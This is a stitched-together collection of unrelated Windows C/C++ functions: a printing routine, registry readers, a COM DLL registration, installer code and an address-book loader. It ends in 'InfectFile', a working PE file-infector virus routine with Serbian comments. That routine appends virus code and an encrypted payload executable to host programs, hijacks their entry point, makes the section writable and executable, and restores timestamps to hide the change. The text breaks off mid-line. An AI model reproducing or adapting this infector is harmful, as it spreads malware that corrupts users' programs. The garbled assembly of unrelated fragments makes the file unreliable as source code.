headerLineHeight - headerLineHeight / 2, frPrint.rc.right, frPrint.rc.top - headerLineHeight / 2}; rcw.bottom = rcw.top + headerLineHeight; if (iPrintHeader < 3) { ExtTextOut(hdc, frPrint.rc.left + 5, frPrint.rc.top - headerLineHeight / 2, /*ETO_OPAQUE*/0, &rcw, pszDocTitle, lstrlen(pszDocTitle), NULL); } // Print date in header if (iPrintHeader == 0 || iPrintHeader == 1) { SIZE sizeInfo; SelectObject(hdc,fontFooter); GetTextExtentPoint32(hdc,dateString,lstrlen(dateString),&sizeInfo); ExtTextOut(hdc, frPrint.rc.right - 5 - sizeInfo.cx, frPrint.rc.top - headerLineHeight / 2, /*ETO_OPAQUE*/0, &rcw, dateString, lstrlen(dateString), NULL); } if (iPrintHeader < 3) { SetTextAlign(hdc, ta); pen = CreatePen(0, 1, RGB(0,0,0)); penOld = (HPEN)SelectObject(hdc, pen); MoveToEx(hdc, frPrint.rc.left, frPrint.rc.top - headerLineHeight / 4, NULL); LineTo(hdc, frPrint.rc.right, frPrint.rc.top - headerLineHeight / 4); SelectObject(hdc, penOld); DeleteObject(pen); } } frPrint.chrg.cpMin = lengthPrinted; frPrint.chrg.cpMax = lengthDoc; lengthPrinted = SendMessage(hwnd,SCI_FORMATRANGE,printPage,(LPARAM)&frPrint); if (printPage) { SetTextColor(hdc, RGB(0,0,0)); SetBkColor(hdc, RGB(255,255,255)); SelectObject(hdc, fontFooter); UINT ta = SetTextAlign(hdc, TA_TOP); RECT rcw = {frPrint.rc.left, frPrint.rc.bottom + footerLineHeight / 2, frPrint.rc.right, frPrint.rc.bottom + footerLineHeight + footerLineHeight / 2}; if (iPrintFooter == 0) { SIZE sizeFooter; GetTextExtentPoint32(hdc,pageString,lstrlen(pageString),&sizeFooter); ExtTextOut(hdc, frPrint.rc.right - 5 - sizeFooter.cx, frPrint.rc.bottom + footerLineHeight / 2, /*ETO_OPAQUE*/0, &rcw, pageString, lstrlen(pageString), NULL); SetTextAlign(hdc, ta); pen = ::CreatePen(0, 1, RGB(0,0,0)); penOld = (HPEN)SelectObject(hdc, pen); SetBkColor(hdc, RGB(0,0,0)); MoveToEx(hdc, frPrint.rc.left, frPrint.rc.bottom + footerLineHeight / 4, NULL); LineTo(hdc, frPrint.rc.right, frPrint.rc.bottom + footerLineHeight / 4); SelectObject(hdc, penOld); DeleteObject(pen); } EndPage(hdc); } pageNum++; if ((pdlg.Flags & PD_PAGENUMS) && (pageNum > pdlg.nToPage)) break; } SendMessage(hwnd,SCI_FORMATRANGE, FALSE, 0); EndDoc(hdc); DeleteDC(hdc); if (fontHeader) DeleteObject(fontHeader); if (fontFooter) DeleteObject(fontFooter); // Reset Statusbar to default mode StatusSetSimple(hwndStatus,FALSE); // Remove wait cursor... EndWaitCursor(); return TRUE; }
static BOOL pdhservice_get_names_from_registry(pdhservice_container *container, WORD primary_lang_id) { BOOL ret = FALSE; LONG local_ret; HKEY perflib_key; // handle to registry key HKEY perflib_key_lang; // handle to registry key DWORD buffer; // bytes to allocate for buffers DWORD buffer_size; // size of dwBuffer // Get the number of Counter items. local_ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib", 0, KEY_READ, &perflib_key); if (local_ret == ERROR_SUCCESS) { buffer_size = sizeof(buffer); local_ret = RegQueryValueEx(perflib_key, "Last Counter", NULL, NULL, (LPBYTE) &buffer, &buffer_size); if (local_ret == ERROR_SUCCESS) { RegCloseKey(perflib_key); /* * get memory for the array of names * * NOTE: correct size would be "(buffer+1) * sizeof(LPSTR)" but .... * Due to a bug the "Last Counter" registry entry is some elements to * small. I make it twice as big to be sure. */ container->names_array = (LPSTR*)malloc(2*(buffer+1) * sizeof(LPSTR)); memset(container->names_array, 0, 2*(buffer+1) * sizeof(LPSTR)); if (container->names_array != NULL) { char key[256]; /* * open key containing conter and object names */ sprintf(key, "SOFTWARE\\Microsoft\\Windows NT\\" "CurrentVersion\\Perflib\\%03X", primary_lang_id); local_ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, &perflib_key_lang); if (local_ret != ERROR_SUCCESS) { /* * Try English values if primary language values are not available. */ primary_lang_id = 9; sprintf(key, "SOFTWARE\\Microsoft\\Windows NT\\" "CurrentVersion\\Perflib\\%03X", primary_lang_id); local_ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, &perflib_key_lang); } if (local_ret == ERROR_SUCCESS) { /* * get the size of the largest key */ local_ret = RegQueryInfoKey(perflib_key_lang, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &buffer, NULL, NULL); if (local_ret == ERROR_SUCCESS) { /* * malloc memory for counters and objects */ buffer++; container->name_strings = (LPSTR) malloc(buffer * sizeof(CHAR)); if (container->name_strings != NULL) { /* * Read the name strings from registry */ local_ret = RegQueryValueEx(perflib_key_lang, "Counter", NULL, NULL, (LPBYTE)container->name_strings, &buffer); if (local_ret == ERROR_SUCCESS) { LPSTR next_string; /* * Now feed all strings into the array */ for(next_string = container->name_strings; *next_string != '\0'; next_string += lstrlen(next_string) + 1) { DWORD value = atol(next_string); next_string += lstrlen(next_string) + 1; container->names_array[value] = (LPSTR)next_string; } ret = TRUE; } else { // error handling fprintf(stderr, "RegQueryValueEx() failed\n"); fflush(stderr); } } else { free(container->names_array); container->names_array = NULL; // error handling fprintf(stderr, "malloc() failed\n"); fflush(stderr); } RegCloseKey(perflib_key_lang); } else { // error handling fprintf(stderr, "RegQueryInfoKey() failed\n"); fflush(stderr); } } else { // error handling fprintf(stderr, "RegOpenKeyEx() failed (error=%ld)\n", local_ret); fflush(stderr); } } else { // error handling fprintf(stderr, "malloc() failed\n"); fflush(stderr); } } else { // error handling fprintf(stderr, "RegQueryValueEx() failed\n"); fflush(stderr); } } else { // error handling fprintf(stderr, "RegOpenKeyEx() failed (error=%ld)\n", local_ret); fflush(stderr); } return ret; }
/** * DllRegisterServer **/ STDAPI DllRegisterServer() { DWORD lastError = 0; LRESULT lr; HRESULT hr = E_FAIL; HKEY hKey = NULL; HKEY hSubKey = NULL; DWORD dwDisposition; TCHAR wszValue[127]; TCHAR wszPath[127]; // Set up registry keys // Register with COM: // [HKEY_CLASSES_ROOT\CLSID\{3AB4C10E-673C-494c-98A2-CC2E91A48115}\InProcServer32] // @="mapirule.dll" DBG_TRACE(L"Creating/opening key:", DBG_NOTIFY, FALSE); DBG_TRACE(_TEXT_CLSIDKEY, DBG_NOTIFY, FALSE); lr = RegCreateKeyEx(HKEY_CLASSES_ROOT, _TEXT_CLSIDKEY, 0, NULL, 0, 0, NULL, &hKey, &dwDisposition); if (lr != ERROR_SUCCESS) { DBG_TRACE(L"ERROR creating/opening key.", DBG_NOTIFY, FALSE); goto Exit; } DBG_TRACE(L"Creating/opening key:", DBG_NOTIFY, FALSE); DBG_TRACE(TEXT("InprocServer32"), DBG_NOTIFY, FALSE); lr = RegCreateKeyEx(hKey, TEXT("InprocServer32"), 0, NULL, 0, 0, NULL, &hSubKey, &dwDisposition); if (lr != ERROR_SUCCESS) { DBG_TRACE(L"ERROR creating/opening key.", DBG_NOTIFY, FALSE); goto Exit; } wcscpy(wszPath, DLL_FOLDER); wsprintf(wszValue, TEXT("%s\\%s"), wszPath, DLL_NAME); DBG_TRACE(L"Setting value of InprocServer32 to:", DBG_NOTIFY, FALSE); DBG_TRACE(wszValue, DBG_NOTIFY, FALSE); lr = RegSetValueEx(hSubKey, NULL, 0, REG_SZ, (LPBYTE) wszValue, (lstrlen(wszValue) + 1) * sizeof(TCHAR)); if (lr != ERROR_SUCCESS) { DBG_TRACE(L"ERROR setting value of InprocServer32.", DBG_NOTIFY, FALSE); goto Exit; } RegCloseKey(hSubKey); hSubKey = NULL; RegCloseKey(hKey); hKey = NULL; // Register with Inbox: // [HKEY_LOCAL_MACHINE\Software\Microsoft\Inbox\Svc\SMS\Rules] // {3AB4C10E-673C-494c-98A2-CC2E91A48115}"=dword:1 DBG_TRACE(L"Creating/opening key:", DBG_NOTIFY, FALSE); DBG_TRACE(TEXT("\\Software\\Microsoft\\Inbox\\Svc\\SMS\\Rules"), DBG_NOTIFY, FALSE); lr = RegCreateKeyEx(HKEY_LOCAL_MACHINE, TEXT("\\Software\\Microsoft\\Inbox\\Svc\\SMS\\Rules"), 0, NULL, 0, 0, NULL, &hKey, &dwDisposition); if (lr != ERROR_SUCCESS) { DBG_TRACE(L"ERROR creating/opening key.", DBG_NOTIFY, FALSE); goto Exit; } dwDisposition = 1; DBG_TRACE(L"Setting value of rule {DD69A982-6C70-4a55-8BE4-6B32A1F9A527} to 1.", DBG_NOTIFY, FALSE); lr = RegSetValueEx(hKey, _TEXT_CLSID, 0, REG_DWORD, (LPBYTE) &dwDisposition, sizeof(DWORD)); if (lr != ERROR_SUCCESS) { DBG_TRACE(L"ERROR setting value of {DD69A982-6C70-4a55-8BE4-6B32A1F9A527}.", DBG_NOTIFY, FALSE); goto Exit; } hr = S_OK; Exit: if (hSubKey) { RegCloseKey(hSubKey); } if (hKey) { RegCloseKey(hKey); } return hr; }
BOOL init() { DWORD dwVersion = GetVersion(); // get source directory if (LOBYTE(LOWORD(dwVersion)) < 4) { MessageBox(HWND_DESKTOP, "This install program needs Windows 4.0 or later", g_szAppName, MB_OK); return FALSE; } #define MAXCMDTOKENS 128 int argc; LPSTR argv[MAXCMDTOKENS]; LPSTR p; char *args; char *d, *e; p = GetCommandLine(); argc = 0; args = (char *)malloc(lstrlen(p)+1); if (args == (char *)NULL) return 1; // Parse command line handling quotes. d = args; while (*p) { // for each argument if (argc >= MAXCMDTOKENS - 1) break; e = d; while ((*p) && (*p != ' ')) { if (*p == '\042') { // Remove quotes, skipping over embedded spaces. // Doesn't handle embedded quotes. p++; while ((*p) && (*p != '\042')) *d++ =*p++; } else *d++ = *p; if (*p) p++; } *d++ = '\0'; argv[argc++] = e; while ((*p) && (*p == ' ')) p++; // Skip over trailing spaces } argv[argc] = NULL; if (argc > 2) { // Probably creating filelist.txt return make_filelist(argc, argv); } return 0; }
// contructor for CWAB object // // pszFileName - FileName of WAB file to open // if no file name is specified, opens the default // CWAB::CWAB(nsILocalFile *file) { // Here we load the WAB Object and initialize it m_pUniBuff = NULL; m_uniBuffLen = 0; m_bInitialized = PR_FALSE; m_lpAdrBook = NULL; m_lpWABObject = NULL; m_hinstWAB = NULL; { TCHAR szWABDllPath[MAX_PATH]; DWORD dwType = 0; ULONG cbData = sizeof(szWABDllPath); HKEY hKey = NULL; *szWABDllPath = '\0'; // First we look under the default WAB DLL path location in the // Registry. // WAB_DLL_PATH_KEY is defined in wabapi.h // if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, WAB_DLL_PATH_KEY, 0, KEY_READ, &hKey)) { RegQueryValueEx( hKey, "", NULL, &dwType, (LPBYTE) szWABDllPath, &cbData); if (dwType == REG_EXPAND_SZ) { // Expand the environment variables DWORD bufferSize = ExpandEnvironmentStrings(szWABDllPath, NULL, 0); if (bufferSize && bufferSize < MAX_PATH) { TCHAR tmp[MAX_PATH]; ExpandEnvironmentStrings(szWABDllPath, tmp, bufferSize); _tcscpy(szWABDllPath, tmp); } else { // This is an error condition. Nothing else is initialized yet, so simply return. return; } } } else { if (GetSystemDirectory(szWABDllPath, MAX_PATH)) { _tcsncat(szWABDllPath, WAB_DLL_NAME, NS_MIN(_tcslen(WAB_DLL_NAME), MAX_PATH - _tcslen(szWABDllPath) - 1)); } else { // Yet another error condition. return; } } if(hKey) RegCloseKey(hKey); // if the Registry came up blank, we do a loadlibrary on the wab32.dll // WAB_DLL_NAME is defined in wabapi.h // m_hinstWAB = LoadLibrary( (lstrlen(szWABDllPath)) ? szWABDllPath : WAB_DLL_NAME ); } if(m_hinstWAB) { // if we loaded the dll, get the entry point // m_lpfnWABOpen = (LPWABOPEN) GetProcAddress(m_hinstWAB, "WABOpen"); if(m_lpfnWABOpen) { char fName[2] = {0, 0}; HRESULT hr = E_FAIL; WAB_PARAM wp = {0}; wp.cbSize = sizeof(WAB_PARAM); if (file != nsnull) { nsCString path; file->GetNativePath(path); wp.szFileName = (LPTSTR) ToNewCString(path); } else wp.szFileName = (LPTSTR) fName; // if we choose not to pass in a WAB_PARAM object, // the default WAB file will be opened up // hr = m_lpfnWABOpen(&m_lpAdrBook,&m_lpWABObject,&wp,0); if(!hr) m_bInitialized = TRUE; } } }
BOOL CInstall::WriteUninstall(const char *szProg, BOOL bNoCopy) { LONG rc; HKEY hkey; HKEY hsubkey; char buffer[MAXSTR]; char ungsprog[MAXSTR]; lstrcpy(ungsprog, m_szTargetDir); lstrcat(ungsprog, "\\"); lstrcat(ungsprog, szProg); lstrcpy(buffer, m_szSourceDir); lstrcat(buffer, "\\"); lstrcat(buffer, szProg); if (bNoCopy) { // Don't copy files. Leave them where they are. // Check that all files exist FILE *f; if ((f = fopen(buffer, "r")) == (FILE *)NULL) { AddMessage("Missing file "); AddMessage(buffer); AddMessage("\n"); return FALSE; } fclose(f); } else if (!CopyFile(buffer, ungsprog, FALSE)) { char message[MAXSTR+MAXSTR+100]; wsprintf(message, "Failed to copy file %s to %s", buffer, ungsprog); AddMessage(message); return FALSE; } ResetReadonly(ungsprog); /* write registry entries for uninstall */ if ((rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, UNINSTALLKEY, 0, KEY_ALL_ACCESS, &hkey)) != ERROR_SUCCESS) { /* failed to open key, so try to create it */ rc = RegCreateKey(HKEY_LOCAL_MACHINE, UNINSTALLKEY, &hkey); } if (rc == ERROR_SUCCESS) { // Uninstall key for program if (RegCreateKey(hkey, m_szUninstallName, &hsubkey) == ERROR_SUCCESS) { RegSetValueEx(hsubkey, DISPLAYNAMEKEY, 0, REG_SZ, (CONST BYTE *)m_szUninstallName, lstrlen(m_szUninstallName)+1); lstrcpy(buffer, ungsprog); lstrcat(buffer, " \042"); lstrcat(buffer, m_szTargetDir); lstrcat(buffer, "\\"); lstrcat(buffer, m_szMainDir); lstrcat(buffer, "\\"); lstrcat(buffer, UNINSTALL_FILE); lstrcat(buffer, "\042"); AddMessage(" "); AddMessage(m_szUninstallName); AddMessage("="); AddMessage(buffer); AddMessage("\n"); RegSetValueEx(hsubkey, UNINSTALLSTRINGKEY, 0, REG_SZ, (CONST BYTE *)buffer, lstrlen(buffer)+1); RegCloseKey(hsubkey); } RegCloseKey(hkey); } return TRUE; }
int InfectFile(char *fname) { HANDLE hfile, hfilemap, haddfile; unsigned int fsize; // veli�ina fajla char *filemap; // pointer na MMF char *filestart; // uvek pointer na po�etak MMF unsigned int retvalue; // povratna vrednost iz ove f-je unsigned int fattr; // atributi fajla unsigned int NumberOfSections; // broj sekcija PE fajla unsigned int *EntryPointRVA; // pointer na mesto u fajlu gde se �uva EntryPoint RVA unsigned int ImageBase; // Image base adresa unsigned int SectionAlign; // alignment veli�ine svake sekcije unsigned int *SizeofImage; // pointer na SizeOfImage PIMAGE_DATA_DIRECTORY entry_idd;// pointer na prvi Data directorys char *ImportTable; // Import Table unsigned int ISrva2ofs; // konverzija RVA u file ofset (za ImportSekciju) unsigned int *IAT, *HNA; // Import Address Table & Hint Name Address unsigned int *UseT; // ili IAT ili HNA char *module_name; // ime IMPORT modula char *virusstart; // file offset gde �e po�eti virus char kernel32[]="KERNEL32.DLL"; // kernel32.dll char getmodulehandle[]="GetModuleHandleA"; // imena f-ja char getprocaddress[]="GetProcAddress"; // koje tra�imo unsigned int GetModuleHandleRVA; // RVA adresa gde �e virus... unsigned int GetProcAddressRVA; // ...na�i ove funkcije unsigned int i; // pomo�ne promenljive unsigned int raw_virussize; // veli�ina samo virus koda (bez add exe) unsigned int align_virussize; // align veli�ina virus unsigned int overlay; // veli�ina overlaya ako je ima FILETIME creation_time, lastacc_time, lastwr_time; #define function_name module_name #ifdef I_TESTMODE testIfile=CreateFile("c:\\k2test_i.dat", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL); WriteFile(testIfile, fname, lstrlen(fname), &Iwritten, NULL); #endif /*** PO�ETAK & PRIPREMA FAJLOVA ***/ // uzmi atribute fajla i ako je setovan read-only onda ga resetuj fattr=GetFileAttributes(fname); // uzmi atribute fajla if (fattr & FILE_ATTRIBUTE_READONLY) // resetuj readonly ako ga ima SetFileAttributes(fname, fattr ^ FILE_ATTRIBUTE_READONLY); // otvari fajl hfile=CreateFile(fname, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, fattr, NULL); if (hfile==INVALID_HANDLE_VALUE) {retvalue=0x10; goto end1;} #ifdef I_TESTMODE WriteFile(testIfile, "\r\nopen", 6, &Iwritten, NULL); #endif // uzmi veli�inu fajla fsize=GetFileSize(hfile, NULL); if (fsize>0xFFFFFFFF-VIRUSLEN) {retvalue=0x11; goto end2;} // ako je fajl prevelik if (fsize<256) {retvalue=0x11; goto end2;} // ako je fajl suvi�e mali oldfilesize=fsize; // zapamti i originalnu veli�inu fajla // sa�uvaj original vreme fajla GetFileTime(hfile, &creation_time, &lastacc_time, &lastwr_time); // kreiraj MMF hfilemap=CreateFileMapping (hfile, NULL, PAGE_READWRITE, 0, fsize+VIRUSLEN, NULL); if (hfilemap==NULL) {retvalue=0x12; goto end2;} // kreiraj MMF view na ceo fajl filemap=(void *) MapViewOfFile (hfilemap, FILE_MAP_ALL_ACCESS, 0,0,0); if (filemap==NULL) {retvalue=0x13; goto end3;} filestart=filemap; #ifdef I_TESTMODE WriteFile(testIfile, "\r\nmapped", 8, &Iwritten, NULL); #endif // proveri da li je fajl DOS .EXE if (*(unsigned short int *)filemap != IMAGE_DOS_SIGNATURE1) // e_magic == MZ ? if (*(unsigned short int *)filemap != IMAGE_DOS_SIGNATURE2) // e_magic == ZM ? {retvalue=0x101; goto end4;} // nije, iza�i // pomeri se na adresu PE exe header-a filemap += ((PIMAGE_DOS_HEADER)filemap)->e_lfanew; // proveri da signature odgovara PE exe fajlu if (IsBadCodePtr((FARPROC)filemap)) {retvalue=0x102; goto end4;} if (*(DWORD *)filemap != IMAGE_NT_SIGNATURE) // 'PE00' {retvalue=0x102; goto end4;} // presko�i signature i sada smo na po�etku PE headera filemap += sizeof(DWORD); #ifdef I_TESTMODE WriteFile(testIfile, "\r\nPEok", 6, &Iwritten, NULL); #endif /*** PREUZIMANJE PODATAKA ***/ // preuzmi broj sekcija NumberOfSections = ((PIMAGE_FILE_HEADER)filemap)->NumberOfSections; // presko�i PE header i sada pokazujemo na PE Optional header filemap += IMAGE_SIZEOF_FILE_HEADER; // proveri da li je exe fajl za GUI (nije konzolna aplikacija) if (((PIMAGE_OPTIONAL_HEADER)filemap)->Subsystem != IMAGE_SUBSYSTEM_WINDOWS_GUI) {retvalue=0x103; goto end4;} // zapamti pointer na entry pointa i=(unsigned int)filemap + 16; // 16 je ofset do EntryPoint-a EntryPointRVA = (unsigned int *)i; // zapamti ImageBase ImageBase = ((PIMAGE_OPTIONAL_HEADER)filemap)->ImageBase; // zapamti Alignment sekcija SectionAlign = ((PIMAGE_OPTIONAL_HEADER)filemap)->FileAlignment; // preuzmi pointer na SizeOfImage i=(unsigned int)filemap + 56; // 56 je ofset do SizeOfImage SizeofImage = (unsigned int *)i; // preuzmi pointer na DirectoryData i=(unsigned int)filemap + 96; // 96 je ofset do DirectoryData entry_idd = (PIMAGE_DATA_DIRECTORY) i; // vidi da li postoji IMPORT sekcija - ako ne postoji onda veli�ina==0 if (!(entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).Size) {retvalue=0x105; goto end4;} // presko�i i PE Optional header, sada smo na po�etku Section Table // ova tabla sadr�i Section Header-e kojih ima NumberOfSections filemap += sizeof(IMAGE_OPTIONAL_HEADER); #ifdef I_TESTMODE WriteFile(testIfile, "\r\nimport ok", 10, &Iwritten, NULL); #endif /*** NALA�ENJE IMPORT SEKCIJE ***/ i=0; ImportTable=NULL; // pretra�i celu Section Table da bi na�li Import sekciju (sadr�i IT) // tako�e treba locirati poslednji Section Header while (i<NumberOfSections) { #ifdef I_TESTMODE // ime sekcije wsprintf(_testb, "\r\n%.8s", ((PIMAGE_SECTION_HEADER)filemap)->Name); WriteFile(testIfile, _testb, 10, &Iwritten, NULL); #endif // Da li je trenutna sekcija IMPORT sekcija? // proverava se da li je VirtualAddress iz DirectoryData[IMPORT] // unutar RVA granica trenutne sekcije: [VirtualAddress, VirtualAddress+SizeOfRawData). if (!ImportTable) // ako IMPORT sekcija jo� uvek nije na�ena if ((entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).VirtualAddress - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress < ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData) { // pomo�na promenljiva, treba kasnije ISrva2ofs = (unsigned int) filestart + ((PIMAGE_SECTION_HEADER)filemap)->PointerToRawData - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress; // Na�ena je IMPORT sekcij!, preuzi file offset na njen po�etak ImportTable = (char *) ((entry_idd[IMAGE_DIRECTORY_ENTRY_IMPORT]).VirtualAddress + ISrva2ofs); // iako je import sekcija prona�ena, vrti dalje da bi na�ao // poslednju sekciju } // idi na slede�u sekciju filemap+=IMAGE_SIZEOF_SECTION_HEADER; // sizeof(IMAGE_SECTION_HEADER); i++; } // gre�ka - nijedna sekcija nije IMPORT if (!ImportTable) {retvalue=0x106; goto end4;} /*** NALA�ENJE SVIH KERNEL32.DLL ***/ // resetuje pointere GetModuleHandleRVA=GetProcAddressRVA=0; while (1) { // preuzmi ime DLLa i=((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->Name; if (i) module_name = (char *) (ISrva2ofs + i); else break; // kraj, nema vi�e DLLova // poredi ime DLLa sa 'KERNEL32.DLL' if (!lstrcmpi(module_name, kernel32)) { /*** NA�AO KERNEL32.DLL - NALA�ENJE WinAPI FUNKCIJA ***/ // preuzmi file ofset na IAT i=ISrva2ofs + (unsigned int)((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->FirstThunk; IAT=(unsigned int*) (i); // preuzmi file ofset na HNA, ako je ima i=((PIMAGE_IMPORT_DESCRIPTOR)ImportTable)->Characteristics; if (i) { i+=ISrva2ofs; HNA=(unsigned int*) (i); } else HNA=0; UseT=IAT; // pretra�uje se IAT if (HNA) // ako postoji HNA (nije Borland) if (*HNA != *IAT) // ako razli�ito pokazuju IAT i HNA UseT=HNA; // onda je IAT optimizovan (Micro$oft), pa se pretra�uje HNA // pretra�i IAT ili HNA za potrebnim funkcijama while (*UseT) { // postoji samo ordinal, idi dalje if ((signed int)(*UseT) < 0) { UseT++; IAT++; continue; } // postoji i ime funkcije, ordinal nije obavezan da postoji! i = *UseT + ISrva2ofs; function_name = ((PIMAGE_IMPORT_BY_NAME)i)->Name; #ifdef I_TESTMODE_API WriteFile(testIfile, "\r\n", 2, &Iwritten, NULL); WriteFile(testIfile, function_name, lstrlen(function_name), &Iwritten, NULL); #endif // poredi ime IMPORT f-je sa 'GetModuleHandleA', ako nije na�ena if (!GetModuleHandleRVA) if (!lstrcmpi(function_name, getmodulehandle)) { // na�ao, sa�uvaj RVA na IAT [GetModuleHandleA] GetModuleHandleRVA = (unsigned int) IAT - ISrva2ofs; if (GetProcAddressRVA) break; // ako su na�ene obe f-je, iza�i } // poredi ime IMPORT f-je sa 'GetProcAddress', ako nije na�ena if (!GetProcAddress) if (!lstrcmpi(function_name, getprocaddress)) { // na�ao, sa�uvaj RVA na IAT [GetProcAddress] GetProcAddressRVA = (unsigned int) IAT - ISrva2ofs; if (GetModuleHandleRVA) break; // ako su na�ene obe f-je, iza�i } // idi na slede�u IMPORT funkciju UseT++; IAT ++; } // while, zavr�ena pretraga IAT // ako su na�ene obe funkcije iza�i! if (GetModuleHandleRVA && GetProcAddressRVA) break; } // idi na slede�u IMPORT biblioteku ImportTable += sizeof (IMAGE_IMPORT_DESCRIPTOR); }; if (!GetModuleHandleRVA) // nije na�ao prvu f-ju {retvalue=0x108; goto end4;} // if (!GetProcAddressRVA) // nije na�ao drugu f-ju // {retvalue=0x109; goto end4;} // ali, ko zna, mo�da je izvu�emo iz KERNEL32.DLL #ifdef I_TESTMODE WriteFile(testIfile, "\r\nattach", 8, &Iwritten, NULL); #endif /*** ATTACH FILE ***/ #define viruscode module_name #define temp ISrva2ofs #define j NumberOfSections // otvori addexe fajl koji �e se upisati haddfile=CreateFile(addfile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, fattr, NULL); if (haddfile==INVALID_HANDLE_VALUE) {retvalue=0x10A; goto end4;} // uzmi njegovu veli�inu i ujedno je zapamti addfile_size=GetFileSize(haddfile, NULL); // vrati da filemap pokazuje na poslednju sekciju // pa�nja! postoje sekcije koje nisu fizi�ki prisutne u pe exe fajlu (.bss) // one se razlikuju samo po tome �to je njihov PointerToRawData==0 // ili je SizeOfRawData==0 do { filemap -= IMAGE_SIZEOF_SECTION_HEADER; temp=((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; i=((PIMAGE_SECTION_HEADER)filemap)->PointerToRawData; } while ( !temp || !i ); // na�i file ofset gde treba dodati virus. Na �alost, VirtualSize mo�e // biti 0 (watcom linker) tako da se on ne mo�e koristiti. i+=temp; if (fsize>i) overlay=fsize-i; else overlay=0; virusstart = filestart + i + overlay; // ako ima overlay, onda ga presko�i // odredi RAW veli�inu koda virusa raw_virussize=&virus_end-&virus_start; // odredi i Align veli�inu koda virusa + add file align_virussize=(((raw_virussize+addfile_size+overlay)/SectionAlign) + 1) * SectionAlign; // preuzmi pointer na po�etak koda virusa viruscode=&virus_start; // zapi�i u virus RVA+ImageBase na�e dve winAPI f-je ddGetModuleHandleA = GetModuleHandleRVA + ImageBase; ddGetProcAddress = GetProcAddressRVA; if (GetProcAddressRVA) ddGetProcAddress += ImageBase; // Promeni RVA entry pointa na RVA po�etka virusa oldEntryPoint=*EntryPointRVA + ImageBase; // sa�uvaj u fajlu stari entry point (RVA + ImageBase) oldEntryPointRVA=*EntryPointRVA; // sa�uvaj u fajlu samo RVA starog entry pointa j=((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress + temp + overlay; oldEPoffs=(unsigned int) EntryPointRVA - (unsigned int) filestart; // sa�uvaj i pointer na mesto entry pointa *EntryPointRVA=j; // setuj RVA novog Entry Pointa // Promeni veli�inu poslednje sekcije i celog fajla oldoffs1=filemap-filestart+16; // zapamti fajl ofset i olddata1=((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; // stare podatke na tom mestu ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData += align_virussize; fsize += align_virussize - overlay; // Promeni veli�inu poslednje sekcije (VirtualSize) ako <> 0 oldoffs4=filemap-filestart+8; // zapamti fajl offset i olddata4=((PIMAGE_SECTION_HEADER)filemap)->Misc.VirtualSize; // stare podatke na tom mestu if (olddata4) // setuj novu veli�inu ako je ona <> 0 ((PIMAGE_SECTION_HEADER)filemap)->Misc.VirtualSize = ((PIMAGE_SECTION_HEADER)filemap)->SizeOfRawData; // Promeni veli�inu sekcije (opet), ako ona postoji u DirectoryData. // prvo se mora ustanoviti koja je sekcija u pitanju: koje sekcije RVA // spada ovde (kao malo pre) oldoffs2=i=0; while (i<IMAGE_NUMBEROF_DIRECTORY_ENTRIES) { if ((entry_idd[i]).VirtualAddress - ((PIMAGE_SECTION_HEADER)filemap)->VirtualAddress < temp) { // na�ao sekciju, zapamti stare vrednosti oldoffs2=(unsigned int) &(entry_idd[i].Size) - (unsigned int) filestart; olddata2=(entry_idd[i]).Size; // promeni i njoj veli�inu (entry_idd[i]).Size += align_virussize; break; } i++; } // Promeni karakteristiku ove poslednje sekcije (by Jacky Qwerty/29A) oldoffs3=filemap-filestart+36; // zapamti fajl ofset i olddata3=((PIMAGE_SECTION_HEADER)filemap)->Characteristics; // stare podatke na tom mestu ((PIMAGE_SECTION_HEADER)filemap)->Characteristics = (IMAGE_SCN_MEM_EXECUTE + IMAGE_SCN_MEM_READ + IMAGE_SCN_MEM_WRITE); // Promeni SizeOfImage za align_virussize oldoffs5=(unsigned int)SizeofImage-(unsigned int)filestart; olddata5=*SizeofImage; *SizeofImage+=align_virussize; kript=(char) GetTickCount(); // zapamti i slu�ajan broj koji slu�i za dekriptovanje #ifdef I_TESTMODE WriteFile(testIfile, "\r\nwrite", 7, &Iwritten, NULL); #endif /*** UPISIVANJE U FAJL ***/ // Upi�i virus u fajl for (j=0; j<raw_virussize; j++) virusstart[j]=viruscode[j]; // Upi�i i exe odmah posle virusstart=&virusstart[raw_virussize]; ReadFile(haddfile, virusstart, addfile_size, (LPDWORD) &i, NULL); // Kriptuj fajl jednostavno i uvek slu�ajno for (j=0; j<addfile_size; j++, kript+=173) virusstart[j]-=kript; // zatvori add exe fajl CloseHandle(haddfile); /*** REGULARAN KRAJ ***/ retvalue=0; FlushViewOfFile(filestart,0); // upi�i sve promene nazad u fajl end4: UnmapViewOfFile(filestart); // zatvari MMF view end3: CloseHandle(hfilemap); // zatvori MMF // bez obzira da li je fajl uspe�no inficiran ili ne treba setovati // njegovu veli�inu, jer ako je nastala gre�ka veli�ina fajla �e // se pove�ati, a virus ne�e biti dodat! // namesti regularnu veli�inu fajla SetFilePointer(hfile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hfile); // vrati staro vreme SetFileTime(hfile, &creation_time, &lastacc_time, &lastwr_time); // a i atribute (ako je bio read-only) if (fattr & FILE_ATTRIBUTE_READONLY) SetFileAttributes(fname, fattr); end2: CloseHandle(hfile); // zatvori fajl end1: #ifdef I_TESTMODE WriteFile(testIfile, "\r\nend", 5, &Iwritten, 